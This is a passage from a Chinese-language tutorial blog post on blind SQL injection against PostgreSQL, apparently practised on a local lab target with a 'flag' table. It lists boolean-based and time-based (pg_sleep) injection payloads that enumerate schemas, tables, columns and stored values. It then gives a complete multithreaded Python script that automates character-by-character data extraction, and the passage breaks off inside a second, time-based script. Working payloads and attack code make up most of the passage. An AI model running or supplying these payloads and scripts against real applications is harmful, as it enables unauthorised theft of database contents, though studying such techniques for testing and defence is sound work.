class=\"language-text\"><span class=\"line\"><span>?id=1 and ascii(substring((select current_database()),1,1))=112 -- </span></span>\n<span class=\"line\"><span># 数据库的第一个字符ascii码为112，对应字母为p</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/21.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and ascii(substring((select nspname from pg_namespace limit 1 offset 4),1,1))=102 -- </span></span>\n<span class=\"line\"><span># 对应schema首字母为f</span></span>\n<span class=\"line\"><span>?id=1 and ascii(substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 1),1,1))=102 -- </span></span>\n<span class=\"line\"><span># 对应表首字母为f</span></span>\n<span class=\"line\"><span>?id=1 and ascii(substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1))=102 -- </span></span>\n<span class=\"line\"><span># 对应列首字母为f</span></span>\n<span class=\"line\"><span>?id=1 and ascii(substring((select flag2 from \"flag\".flag),1,1))=90 -- </span></span>\n<span class=\"line\"><span># flag2字段首字母为Z</span></span></code></pre>\n<h2 id=\"时间盲注\"><a class=\"anchor\" href=\"#时间盲注\">#</a> 时间盲注</h2>\n<p>用到的函数和条件判断语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>pg_sleep()</span></span>\n<span class=\"line\"><span>case when ... then ... else ... end;</span></span></code></pre>\n<p>逻辑也是与MySQL相同</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1; select case when (current_user = 'postgres') then pg_sleep(5) else pg_sleep(0) end;--</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/22.png\" class=\"\"></p>\n<p>如果不能使用堆叠注入的话也可以把<code>pg_sleep()</code>放在and条件里面</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and 1=(case when substring(current_database(),1,1)='p' then (select 1 from pg_sleep(3)) else 1 end) --</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/23.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1 and 1=(case when substring((select nspname from pg_namespace limit 1 offset 4),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --</span></span>\n<span class=\"line\"><span># 判断schema第一个字符为f</span></span>\n<span class=\"line\"><span>?id=1 and 1=(case when substring((select relname from pg_class where relnamespace=(select oid from pg_namespace where nspname='flag') limit 1 offset 0),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --</span></span>\n<span class=\"line\"><span># 判断table第一个字符为f</span></span>\n<span class=\"line\"><span>?id=1 and 1=(case when substring((select attname from pg_attribute where attrelid=(select oid from pg_class where relname='flag') limit 1 offset 3),1,1)='f' then (select 1 from pg_sleep(3)) else 1 end) --</span></span>\n<span class=\"line\"><span># 判断列名第一个字符为f</span></span>\n<span class=\"line\"><span>?id=1 and 1=(case when substring((select flag2 from \"flag\".flag),1,1)='Z' then (select 1 from pg_sleep(3)) else 1 end) --</span></span>\n<span class=\"line\"><span># 判断flag2里存储内容第一个字符为Z</span></span></code></pre>\n<h2 id=\"脚本探测\"><a class=\"anchor\" href=\"#脚本探测\">#</a> 脚本探测</h2>\n<p>可以看到如果想要手动盲注的话那一个一个写未必也太麻烦了，我们试试写两个python脚本探测吧：</p>\n<p><strong>布尔盲注：</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://localhost:5000/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">chars </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select current_database()</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"1 and substring((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' -- \"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">                params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">id</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B07D48;--shiki-dark:#BD976A\">                timeout</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> response</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> chars</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">            # 把列表清空存储下一列进程</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 最后一批字符集长度不足max_threads所以单独处理</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">读取结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">最终结果:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>正常的二重for循环一个一个搜集太慢了，所以加上了线程模块</p>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/24.png\" class=\"\"></p>\n<p><strong>时间盲注：</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> time</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://localhost:5000/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select current_database()</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threshold</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">char</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span 